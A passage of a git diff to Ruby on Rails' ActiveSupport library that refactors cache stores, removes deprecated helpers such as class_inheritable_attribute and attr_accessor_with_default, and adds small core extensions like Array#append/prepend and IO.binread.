Marshal.dump(@value).bytesize + @value.bytesize end end private - def should_compress?(value, options) - if options[:compress] && value - unless value.is_a?(Numeric) - compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT - serialized_value = value.is_a?(String) ? value : Marshal.dump(value) - return true if serialized_value.size >= compress_threshold - end + def should_compress?(serialized_value, options) + if options[:compress] + compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT + return true if serialized_value.size >= compress_threshold end false end diff --git a/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb b/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb deleted file mode 100644 index 7c7d1c4b00..0000000000 --- a/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb +++ /dev/null @@ -1,13 +0,0 @@ -module ActiveSupport - module Cache - class CompressedMemCacheStore < MemCacheStore - def initialize(*args) - ActiveSupport::Deprecation.warn('ActiveSupport::Cache::CompressedMemCacheStore has been deprecated in favor of ActiveSupport::Cache::MemCacheStore(:compress => true).', caller) - addresses = args.dup - options = addresses.extract_options! - args = addresses + [options.merge(:compress => true)] - super(*args) - end - end - end -end diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb index a1376ae52a..85e7e21624 100644 --- a/activesupport/lib/active_support/cache/file_store.rb +++ b/activesupport/lib/active_support/cache/file_store.rb @@ -13,15 +13,17 @@ module ActiveSupport attr_reader :cache_path DIR_FORMATTER = "%03X" + FILENAME_MAX_SIZE = 230 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write) + EXCLUDED_DIRS = ['.', '..'].freeze def initialize(cache_path, options = nil) super(options) - @cache_path = cache_path + @cache_path = cache_path.to_s extend Strategy::LocalCache end def clear(options = nil) - root_dirs = Dir.entries(cache_path).reject{|f| f.in?(['.', '..'])} + root_dirs = Dir.entries(cache_path).reject{|f| f.in?(EXCLUDED_DIRS)} FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)}) end @@ -77,19 +79,7 @@ module ActiveSupport def read_entry(key, options) file_name = key_file_path(key) if File.exist?(file_name) - entry = File.open(file_name) { |f| Marshal.load(f) } - if entry && !entry.expired? && !entry.expires_in && !self.options[:expires_in] - # Check for deprecated use of +:expires_in+ option from versions < 3.0 - deprecated_expires_in = options[:expires_in] - if deprecated_expires_in - ActiveSupport::Deprecation.warn('Setting :expires_in on read has been deprecated in favor of setting it on write.', caller) - if entry.created_at + deprecated_expires_in.to_f <= Time.now.to_f - delete_entry(key, options) - entry = nil - end - end - end - entry + File.open(file_name) { |f| Marshal.load(f) } end rescue nil @@ -141,15 +131,13 @@ module ActiveSupport hash, dir_1 = hash.divmod(0x1000) dir_2 = hash.modulo(0x1000) fname_paths = [] - # Make sure file name is < 255 characters so it doesn't exceed file system limits. - if fname.size <= 255 - fname_paths << fname - else - while fname.size <= 255 - fname_path << fname[0, 255] - fname = fname[255, -1] - end - end + + # Make sure file name doesn't exceed file system limits. + begin + fname_paths << fname[0, FILENAME_MAX_SIZE] + fname = fname[FILENAME_MAX_SIZE..-1] + end until fname.blank? + File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths) end @@ -162,7 +150,7 @@ module ActiveSupport # Delete empty directories in the cache. def delete_empty_directories(dir) return if dir == cache_path - if Dir.entries(dir).reject{|f| f.in?(['.', '..'])}.empty? + if Dir.entries(dir).reject{|f| f.in?(EXCLUDED_DIRS)}.empty? File.delete(dir) rescue nil delete_empty_directories(File.dirname(dir)) end @@ -174,8 +162,9 @@ module ActiveSupport end def search_dir(dir, &callback) + return if !File.exist?(dir) Dir.foreach(dir) do |d| - next if d == "." || d == ".." + next if d.in?(EXCLUDED_DIRS) name = File.join(dir, d) if File.directory?(name) search_dir(name, &callback) diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb index 7ef1497ac2..e07294178b 100644 --- a/activesupport/lib/active_support/cache/mem_cache_store.rb +++ b/activesupport/lib/active_support/cache/mem_cache_store.rb @@ -31,7 +31,7 @@ module ActiveSupport DELETED = "DELETED\r\n" end - ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/ + ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n def self.build_mem_cache(*addresses) addresses = addresses.flatten @@ -183,6 +183,14 @@ module ActiveSupport # Provide support for raw values in the local cache strategy. module LocalCacheWithRaw # :nodoc: protected + def read_entry(key, options) + entry = super + if options[:raw] && local_cache && entry + entry = deserialize_entry(entry.value) + end + entry + end + def write_entry(key, entry, options) # :nodoc: retval = super if options[:raw] && local_cache && retval diff --git a/activesupport/lib/active_support/cache/synchronized_memory_store.rb b/activesupport/lib/active_support/cache/synchronized_memory_store.rb deleted file mode 100644 index 37caa6b6f1..0000000000 --- a/activesupport/lib/active_support/cache/synchronized_memory_store.rb +++ /dev/null @@ -1,11 +0,0 @@ -module ActiveSupport - module Cache - # Like MemoryStore, but thread-safe. - class SynchronizedMemoryStore < MemoryStore - def initialize(*args) - ActiveSupport::Deprecation.warn('ActiveSupport::Cache::SynchronizedMemoryStore has been deprecated in favor of ActiveSupport::Cache::MemoryStore.', caller) - super - end - end - end -end diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb index a94446acde..a2d2719de7 100644 --- a/activesupport/lib/active_support/configurable.rb +++ b/activesupport/lib/active_support/configurable.rb @@ -12,12 +12,12 @@ module ActiveSupport class Configuration < ActiveSupport::InheritableOptions def compile_methods! - self.class.compile_methods!(keys.reject {|key| respond_to?(key)}) + self.class.compile_methods!(keys) end # compiles reader methods so we don't have to go through method_missing def self.compile_methods!(keys) - keys.each do |key| + keys.reject { |m| method_defined?(m) }.each do |key| class_eval <<-RUBY, __FILE__, __LINE__ + 1 def #{key}; _get(#{key.inspect}); end RUBY diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb index 4688468a8f..268c9bed4c 100644 --- a/activesupport/lib/active_support/core_ext/array.rb +++ b/activesupport/lib/active_support/core_ext/array.rb @@ -5,3 +5,4 @@ require 'active_support/core_ext/array/conversions' require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/array/grouping' require 'active_support/core_ext/array/random_access' +require 'active_support/core_ext/array/prepend_and_append' diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb index 2df4fd1da1..6162f7af27 100644 --- a/activesupport/lib/active_support/core_ext/array/access.rb +++ b/activesupport/lib/active_support/core_ext/array/access.rb @@ -16,7 +16,7 @@ class Array # %w( a b c d ).to(10) # => %w( a b c d ) # %w().to(0) # => %w() def to(position) - self[0..position] + self.first position + 1 end # Equal to <tt>self[1]</tt>. diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb index 3b22e8b4f9..f3d06ecb2f 100644 --- a/activesupport/lib/active_support/core_ext/array/conversions.rb +++ b/activesupport/lib/active_support/core_ext/array/conversions.rb @@ -39,10 +39,10 @@ class Array # # Blog.all.to_formatted_s # => "First PostSecond PostThird Post" # - # Adding in the <tt>:db</tt> argument as the format yields a prettier - # output: + # Adding in the <tt>:db</tt> argument as the format yields a comma separated + # id list: # - # Blog.all.to_formatted_s(:db) # => "First Post,Second Post,Third Post" + # Blog.all.to_formatted_s(:db) # => "1,2,3" def to_formatted_s(format = :default) case format when :db diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb new file mode 100644 index 0000000000..27718f19d4 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb @@ -0,0 +1,7 @@ +class Array + # The human way of thinking about adding stuff to the end of a list is with append + alias_method :append, :<< + + # The human way of thinking about adding stuff to the beginning of a list is with prepend + alias_method :prepend, :unshift +end
\ No newline at end of file diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb index 7fabae3138..4834eca8b1 100644 --- a/activesupport/lib/active_support/core_ext/array/wrap.rb +++ b/activesupport/lib/active_support/core_ext/array/wrap.rb @@ -14,7 +14,7 @@ class Array # This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences: # # * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> - # moves on to try +to_a+ if the returned value is +nil+, but <tt>Arraw.wrap</tt> returns + # moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns # such a +nil+ right away. # * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> # raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value. @@ -40,7 +40,7 @@ class Array if object.nil? [] elsif object.respond_to?(:to_ary) - object.to_ary + object.to_ary || [object] else [object] end diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb index 080604147d..391bdc925d 100644 --- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb +++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb @@ -29,8 +29,11 @@ class BigDecimal coder.represent_scalar(nil, YAML_MAPPING[string] || string) end - def to_d - self + # Backport this method if it doesn't exist + unless method_defined?(:to_d) + def to_d + self + end end DEFAULT_STRING_FORMAT = 'F' diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb index 6f308a0d62..86b752c2f3 100644 --- a/activesupport/lib/active_support/core_ext/class.rb +++ b/activesupport/lib/active_support/core_ext/class.rb @@ -1,5 +1,4 @@ require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/class/attribute_accessors' -require 'active_support/core_ext/class/inheritable_attributes' require 'active_support/core_ext/class/delegating_attributes' require 'active_support/core_ext/class/subclasses' diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb index 7baba75ad3..45bec264ff 100644 --- a/activesupport/lib/active_support/core_ext/class/attribute.rb +++ b/activesupport/lib/active_support/core_ext/class/attribute.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/kernel/singleton_class' require 'active_support/core_ext/module/remove_method' +require 'active_support/core_ext/array/extract_options' class Class # Declare a class-level attribute whose value is inheritable by subclasses. @@ -56,11 +57,18 @@ class Class # object.setting # => false # Base.setting # => true # + # To opt out of the instance reader method, pass :instance_reader => false. + # + # object.setting # => NoMethodError + # object.setting? # => NoMethodError + # # To opt out of the instance writer method, pass :instance_writer => false. # # object.setting = false # => NoMethodError def class_attribute(*attrs) - instance_writer = !attrs.last.is_a?(Hash) || attrs.pop[:instance_writer] + options = attrs.extract_options! + instance_reader = options.fetch(:instance_reader, true) + instance_writer = options.fetch(:instance_writer, true) attrs.each do |name| class_eval <<-RUBY, __FILE__, __LINE__ + 1 @@ -84,13 +92,15 @@ class Class val end - remove_possible_method :#{name} - def #{name} - defined?(@#{name}) ? @#{name} : self.class.#{name} - end + if instance_reader + remove_possible_method :#{name} + def #{name} + defined?(@#{name}) ? @#{name} : self.class.#{name} + end - def #{name}? - !!#{name} + def #{name}? + !!#{name} + end end RUBY @@ -100,12 +110,6 @@ class Class private def singleton_class? - # in case somebody is crazy enough to overwrite allocate - allocate = Class.instance_method(:allocate) - # object.class always points to a real (non-singleton) class - allocate.bind(self).call.class != self - rescue TypeError - # MRI/YARV/JRuby all disallow creating new instances of a singleton class - true + !name || '' == name end end diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb index a903735acf..268303aaf2 100644 --- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb +++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb @@ -17,6 +17,7 @@ require 'active_support/core_ext/array/extract_options' # # To opt out of the instance writer method, pass :instance_writer => false. # To opt out of the instance reader method, pass :instance_reader => false. +# To opt out of both instance methods, pass :instance_accessor => false. # # class Person # cattr_accessor :hair_colors, :instance_writer => false, :instance_reader => false @@ -38,7 +39,7 @@ class Class end EOS - unless options[:instance_reader] == false + unless options[:instance_reader] == false || options[:instance_accessor] == false class_eval(<<-EOS, __FILE__, __LINE__ + 1) def #{sym} @@#{sym} @@ -61,7 +62,7 @@ class Class end EOS - unless options[:instance_writer] == false + unless options[:instance_writer] == false || options[:instance_accessor] == false class_eval(<<-EOS, __FILE__, __LINE__ + 1) def #{sym}=(obj) @@#{sym} = obj diff --git a/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb b/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb deleted file mode 100644 index ec475134ef..0000000000 --- a/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb +++ /dev/null @@ -1,178 +0,0 @@ -require 'active_support/core_ext/object/duplicable' -require 'active_support/core_ext/array/extract_options' -require 'active_support/deprecation' - -# Retained for backward compatibility. Methods are now included in Class. -module ClassInheritableAttributes # :nodoc: - DEPRECATION_WARNING_MESSAGE = "class_inheritable_attribute is deprecated, please use class_attribute method instead. Notice their behavior are slightly different, so refer to class_attribute documentation first" -end - -# It is recommended to use <tt>class_attribute</tt> over methods defined in this file. Please -# refer to documentation for <tt>class_attribute</tt> for more information. Officially it is not -# deprecated but <tt>class_attribute</tt> is faster. -# -# Allows attributes to be shared within an inheritance hierarchy. Each descendant gets a copy of -# their parents' attributes, instead of just a pointer to the same. This means that the child can add elements -# to, for example, an array without those additions being shared with either their parent, siblings, or -# children. This is unlike the regular class-level attributes that are shared across the entire hierarchy. -# -# The copies of inheritable parent attributes are added to subclasses when they are created, via the -# +inherited+ hook. -# -# class Person -# class_inheritable_accessor :hair_colors -# end -# -# Person.hair_colors = [:brown, :black, :blonde, :red] -# Person.hair_colors # => [:brown, :black, :blonde, :red] -# Person.new.hair_colors # => [:brown, :black, :blonde, :red] -# -# To opt out of the instance writer method, pass :instance_writer => false. -# To opt out of the instance reader method, pass :instance_reader => false. -# -# class Person -# class_inheritable_accessor :hair_colors :instance_writer => false, :instance_reader => false -# end -# -# Person.new.hair_colors = [:brown] # => NoMethodError -# Person.new.hair_colors # => NoMethodError -class Class # :nodoc: - def class_inheritable_reader(*syms) - ActiveSupport::Deprecation.warn ClassInheritableAttributes::DEPRECATION_WARNING_MESSAGE - options = syms.extract_options! - syms.each do |sym| - next if sym.is_a?(Hash) - class_eval(<<-EOS, __FILE__, __LINE__ + 1) - def self.#{sym} # def self.after_add - read_inheritable_attribute(:#{sym}) # read_inheritable_attribute(:after_add) - end # end - # - #{" # - def #{sym} # def after_add - self.class.#{sym} # self.class.after_add - end # end - " unless options[:instance_reader] == false } # # the reader above is generated unless options[:instance_reader] == false - EOS - end - end - - def class_inheritable_writer(*syms) - ActiveSupport::Deprecation.warn ClassInheritableAttributes::DEPRECATION_WARNING_MESSAGE - options = syms.extract_options! - syms.each do |sym| - class_eval(<<-EOS, __FILE__, __LINE__ + 1) - def self.#{sym}=(obj) # def self.color=(obj) - write_inheritable_attribute(:#{sym}, obj) # write_inheritable_attribute(:color, obj) - end # end - # - #{" # - def #{sym}=(obj) # def color=(obj) - self.class.#{sym} = obj # self.class.color = obj - end # end - " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false - EOS - end - end - - def class_inheritable_array_writer(*syms) - ActiveSupport::Deprecation.warn ClassInheritableAttributes::DEPRECATION_WARNING_MESSAGE - options = syms.extract_options! - syms.each do |sym| - class_eval(<<-EOS, __FILE__, __LINE__ + 1) - def self.#{sym}=(obj) # def self.levels=(obj) - write_inheritable_array(:#{sym}, obj) # write_inheritable_array(:levels, obj) - end # end - # - #{" # - def #{sym}=(obj) # def levels=(obj) - self.class.#{sym} = obj # self.class.levels = obj - end # end - " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false - EOS - end - end - - def class_inheritable_hash_writer(*syms) - ActiveSupport::Deprecation.warn ClassInheritableAttributes::DEPRECATION_WARNING_MESSAGE - options = syms.extract_options! - syms.each do |sym| - class_eval(<<-EOS, __FILE__, __LINE__ + 1) - def self.#{sym}=(obj) # def self.nicknames=(obj) - write_inheritable_hash(:#{sym}, obj) # write_inheritable_hash(:nicknames, obj) - end # end - # - #{" # - def #{sym}=(obj) # def nicknames=(obj) - self.class.#{sym} = obj # self.class.nicknames = obj - end # end - " unless options[:instance_writer] == false } # # the writer above is generated unless options[:instance_writer] == false - EOS - end - end - - def class_inheritable_accessor(*syms) - class_inheritable_reader(*syms) - class_inheritable_writer(*syms) - end - - def class_inheritable_array(*syms) - class_inheritable_reader(*syms) - class_inheritable_array_writer(*syms) - end - - def class_inheritable_hash(*syms) - class_inheritable_reader(*syms) - class_inheritable_hash_writer(*syms) - end - - def inheritable_attributes - @inheritable_attributes ||= EMPTY_INHERITABLE_ATTRIBUTES - end - - def write_inheritable_attribute(key, value) - if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES) - @inheritable_attributes = {} - end - inheritable_attributes[key] = value - end - - def write_inheritable_array(key, elements) - write_inheritable_attribute(key, []) if read_inheritable_attribute(key).nil? - write_inheritable_attribute(key, read_inheritable_attribute(key) + elements) - end - - def write_inheritable_hash(key, hash) - write_inheritable_attribute(key, {}) if read_inheritable_attribute(key).nil? - write_inheritable_attribute(key, read_inheritable_attribute(key).merge(hash)) - end - - def read_inheritable_attribute(key) - inheritable_attributes[key] - end - - def reset_inheritable_attributes - ActiveSupport::Deprecation.warn ClassInheritableAttributes::DEPRECATION_WARNING_MESSAGE - @inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES - end - - private - # Prevent this constant from being created multiple times - EMPTY_INHERITABLE_ATTRIBUTES = {}.freeze - - def inherited_with_inheritable_attributes(child) - inherited_without_inheritable_attributes(child) if respond_to?(:inherited_without_inheritable_attributes) - - if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES) - new_inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES - else - new_inheritable_attributes = Hash[inheritable_attributes.map do |(key, value)| - [key, value.duplicable? ? value.dup : value] - end] - end - - child.instance_variable_set('@inheritable_attributes', new_inheritable_attributes) - end - - alias inherited_without_inheritable_attributes inherited - alias inherited inherited_with_inheritable_attributes -end diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb index 236055d77a..26a99658cc 100644 --- a/activesupport/lib/active_support/core_ext/date/calculations.rb +++ b/activesupport/lib/active_support/core_ext/date/calculations.rb @@ -103,7 +103,7 @@ class Date alias_method :minus_without_duration, :- alias_method :-, :minus_with_duration - # Provides precise Date calculations for years, months, and days. The +options+ parameter takes a hash with + # Provides precise Date calculations for years, months, and days. The +options+ parameter takes a hash with # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>. def advance(options) options = options.dup diff --git a/activesupport/lib/active_support/core_ext/date/freeze.rb b/activesupport/lib/active_support/core_ext/date/freeze.rb index 4edd715ba2..a731f8345e 100644 --- a/activesupport/lib/active_support/core_ext/date/freeze.rb +++ b/activesupport/lib/active_support/core_ext/date/freeze.rb @@ -5,7 +5,7 @@ # first call will result in a frozen object error since the memo # instance variable is uninitialized. # -# Work around by eagerly memoizing before freezing. +# Work around by eagerly memoizing before the first freeze. # # Ruby 1.9 uses a preinitialized instance variable so it's unaffected. # This hack is as close as we can get to feature detection: @@ -17,9 +17,11 @@ if RUBY_VERSION < '1.9' if frozen_object_error.message =~ /frozen/ class Date #:nodoc: def freeze - self.class.private_instance_methods(false).each do |m| - if m.to_s =~ /\A__\d+__\Z/ - instance_variable_set(:"@#{m}", [send(m)]) + unless frozen? + self.class.private_instance_methods(false).each do |m| + if m.to_s =~ /\A__\d+__\Z/ + instance_variable_set(:"@#{m}", [send(m)]) + end end end diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb index 6d7f771b5d..9343bb7106 100644 --- a/activesupport/lib/active_support/core_ext/enumerable.rb +++ b/activesupport/lib/active_support/core_ext/enumerable.rb @@ -20,6 +20,7 @@ module Enumerable # "2006-02-24 -> Transcript, Transcript" # "2006-02-23 -> Transcript" def group_by + return to_enum :group_by unless block_given? assoc = ActiveSupport::OrderedHash.new each do |element| @@ -75,9 +76,10 @@ module Enumerable # # (1..5).each_with_object(1) { |value, memo| memo *= value } # => 1 # - def each_with_object(memo, &block) + def each_with_object(memo) + return to_enum :each_with_object, memo unless block_given? each do |element| - block.call(element, memo) + yield element, memo end memo end unless [].respond_to?(:each_with_object) @@ -90,17 +92,25 @@ module Enumerable # => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...} # def index_by + return to_enum :index_by unless block_given? Hash[map { |elem| [yield(elem), elem] }] end - # Returns true if the collection has more than 1 element. Functionally equivalent to collection.size > 1. - # Can be called with a block too, much like any?, so people.many? { |p| p.age > 26 } returns true if more than 1 person is over 26. - def many?(&block) - size = block_given? ? select(&block).size : self.size - size > 1 + # Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1. + # Can be called with a block too, much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns true if more than one person is over 26. + def many? + cnt = 0 + if block_given? + any? do |element| + cnt += 1 if yield element + cnt > 1 + end + else + any?{ (cnt += 1) > 1 } + end end - # The negative of the Enumerable#include?. Returns true if the collection does not include the object. + # The negative of the <tt>Enumerable#include?</tt>. Returns true if the collection does not include the object. def exclude?(object) !include?(object) end diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb index 26b73ed442..3645597301 100644 --- a/activesupport/lib/active_support/core_ext/file/atomic.rb +++ b/activesupport/lib/active_support/core_ext/file/atomic.rb @@ -1,5 +1,5 @@ class File - # Write to a file atomically. Useful for situations where you don't + # Write to a file atomically. Useful for situations where you don't # want other processes or threads to see half-written files. # # File.atomic_write("important.file") do |file| diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb index 102378a029..5f07bb4f5a 100644 --- a/activesupport/lib/active_support/core_ext/hash/conversions.rb +++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb @@ -95,7 +95,7 @@ class Hash case value.class.to_s when 'Hash' if value['type'] == 'array' - _, entries = Array.wrap(value.detect { |k,v| k != 'type' }) + _, entries = Array.wrap(value.detect { |k,v| not v.is_a?(String) }) if entries.nil? || (c = value['__content__'] && c.blank?) [] else diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb index c2a6476604..f4cb445444 100644 --- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb +++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb @@ -2,7 +2,7 @@ require 'active_support/hash_with_indifferent_access' class Hash - # Returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: + # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver: # # {:a => 1}.with_indifferent_access["a"] # => 1 # @@ -11,7 +11,7 @@ class Hash end # Called when object is nested under an object that receives - # #with_indifferent_access. This method with be called on the current object + # #with_indifferent_access. This method will be called on the current object # by the enclosing object and is aliased to #with_indifferent_access by # default. Subclasses of Hash may overwrite this method to return +self+ if # converting to an +ActiveSupport::HashWithIndifferentAccess+ would not be diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb index d7fb2da0fb..0484d8e5d8 100644 --- a/activesupport/lib/active_support/core_ext/hash/slice.rb +++ b/activesupport/lib/active_support/core_ext/hash/slice.rb @@ -30,6 +30,8 @@ class Hash omit end + # Removes and returns the key/value pairs matching the given keys. + # {:a => 1, :b => 2, :c => 3, :d => 4}.extract!(:a, :b) # => {:a => 1, :b => 2} def extract!(*keys) result = {} keys.each {|key| result[key] = delete(key) } diff --git a/activesupport/lib/active_support/core_ext/io.rb b/activesupport/lib/active_support/core_ext/io.rb new file mode 100644 index 0000000000..75f1055191 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/io.rb @@ -0,0 +1,15 @@ +if RUBY_VERSION < '1.9.2' + +# :stopdoc: +class IO + def self.binread(name, length = nil, offset = nil) + return File.read name unless length || offset + File.open(name, 'rb') { |f| + f.seek offset if offset + f.read length + } + end +end +# :startdoc: + +end diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb index 01cfe7fc10..0275f4c037 100644 --- a/activesupport/lib/active_support/core_ext/kernel.rb +++ b/activesupport/lib/active_support/core_ext/kernel.rb @@ -1,5 +1,4 @@ require 'active_support/core_ext/kernel/reporting' require 'active_support/core_ext/kernel/agnostics' -require 'active_support/core_ext/kernel/requires' require 'active_support/core_ext/kernel/debugger' require 'active_support/core_ext/kernel/singleton_class' diff --git a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb index c0cb4fb427..64837d87aa 100644 --- a/activesupport/lib/active_support/core_ext/kernel/agnostics.rb +++ b/activesupport/lib/active_support/core_ext/kernel/agnostics.rb @@ -1,11 +1,11 @@ class Object # Makes backticks behave (somewhat more) similarly on all platforms. # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the - # spawned shell prints a message to stderr and sets $?. We emulate + # spawned shell prints a message to stderr and sets $?. We emulate # Unix on the former but not the latter. def `(command) #:nodoc: super rescue Errno::ENOENT => e STDERR.puts "#$0: #{e}" end -end
\ No newline at end of file +end diff --git a/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/activesupport/lib/active_support/core_ext/kernel/debugger.rb index 692340c7c7..7516f41e0b 100644 --- a/activesupport/lib/active_support/core_ext/kernel/debugger.rb +++ b/activesupport/lib/active_support/core_ext/kernel/debugger.rb @@ -5,12 +5,6 @@ module Kernel message = "\n***** Debugger requested, but was not available (ensure ruby-debug is listed in Gemfile/installed as gem): Start server with --debugger to enable *****\n" defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message) end - end - - undef :breakpoint if respond_to?(:breakpoint) - def breakpoint - message = "\n***** The 'breakpoint' command has been renamed 'debugger' -- please change *****\n" - defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message) - debugger + alias breakpoint debugger unless respond_to?(:breakpoint) end end diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb index c6920098a8..526b8378a5 100644 --- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb +++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb @@ -59,7 +59,7 @@ module Kernel raise unless exception_classes.any? { |cls| e.kind_of?(cls) } end end - + # Captures the given stream and returns it: # # stream = capture(:stdout) { puts "Cool" } diff --git a/activesupport/lib/active_support/core_ext/kernel/requires.rb b/activesupport/lib/active_support/core_ext/kernel/requires.rb deleted file mode 100644 index 3bf46271d7..0000000000 --- a/activesupport/lib/active_support/core_ext/kernel/requires.rb +++ /dev/null @@ -1,26 +0,0 @@ -require 'active_support/core_ext/kernel/reporting' - -module Kernel - # Require a library with fallback to RubyGems. Warnings during library - # loading are silenced to increase signal/noise for application warnings. - def require_library_or_gem(library_name) - silence_warnings do - begin - require library_name - rescue LoadError => cannot_require - # 1. Requiring the module is unsuccessful, maybe it's a gem and nobody required rubygems yet. Try. - begin - require 'rubygems' - rescue LoadError # => rubygems_not_installed - raise cannot_require - end - # 2. Rubygems is installed and loaded. Try to load the library again - begin - require library_name - rescue LoadError # => gem_not_installed - raise cannot_require - end - end - end - end -end diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb index f59fcd123c..f399fce410 100644 --- a/activesupport/lib/active_support/core_ext/module.rb +++ b/activesupport/lib/active_support/core_ext/module.rb @@ -4,9 +4,9 @@ require 'active_support/core_ext/module/anonymous' require 'active_support/core_ext/module/reachable' require 'active_support/core_ext/module/attribute_accessors' require 'active_support/core_ext/module/attr_internal' -require 'active_support/core_ext/module/attr_accessor_with_default' require 'active_support/core_ext/module/delegation' require 'active_support/core_ext/module/synchronization' require 'active_support/core_ext/module/deprecation' require 'active_support/core_ext/module/remove_method' -require 'active_support/core_ext/module/method_names'
\ No newline at end of file +require 'active_support/core_ext/module/method_names' +require 'active_support/core_ext/module/qualified_const'
\ No newline at end of file diff --git a/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb b/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb deleted file mode 100644 index 984f6fb957..0000000000 --- a/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb +++ /dev/null @@ -1,31 +0,0 @@ -class Module - # Declare an attribute accessor with an initial default return value. - # - # To give attribute <tt>:age</tt> the initial value <tt>25</tt>: - # - # class Person - # attr_accessor_with_default :age, 25 - # end - # - # person = Person.new - # person.age # => 25 - # - # person.age = 26 - # person.age # => 26 - # - # To give attribute <tt>:element_name</tt> a dynamic default value, evaluated - # in scope of self: - # - # attr_accessor_with_default(:element_name) { name.underscore } - # - def attr_accessor_with_default(sym, default = Proc.new) - ActiveSupport::Deprecation.warn "attr_accessor_with_default is deprecated. Use Ruby instead!" - define_method(sym, block_given? ? default : Proc.new { default }) - module_eval(<<-EVAL, __FILE__, __LINE__ + 1) - def #{sym}=(value) # def age=(value) - class << self; attr_accessor :#{sym} end # class << self; attr_accessor :age end - @#{sym} = value # @age = value - end # end - EVAL - end -end diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb 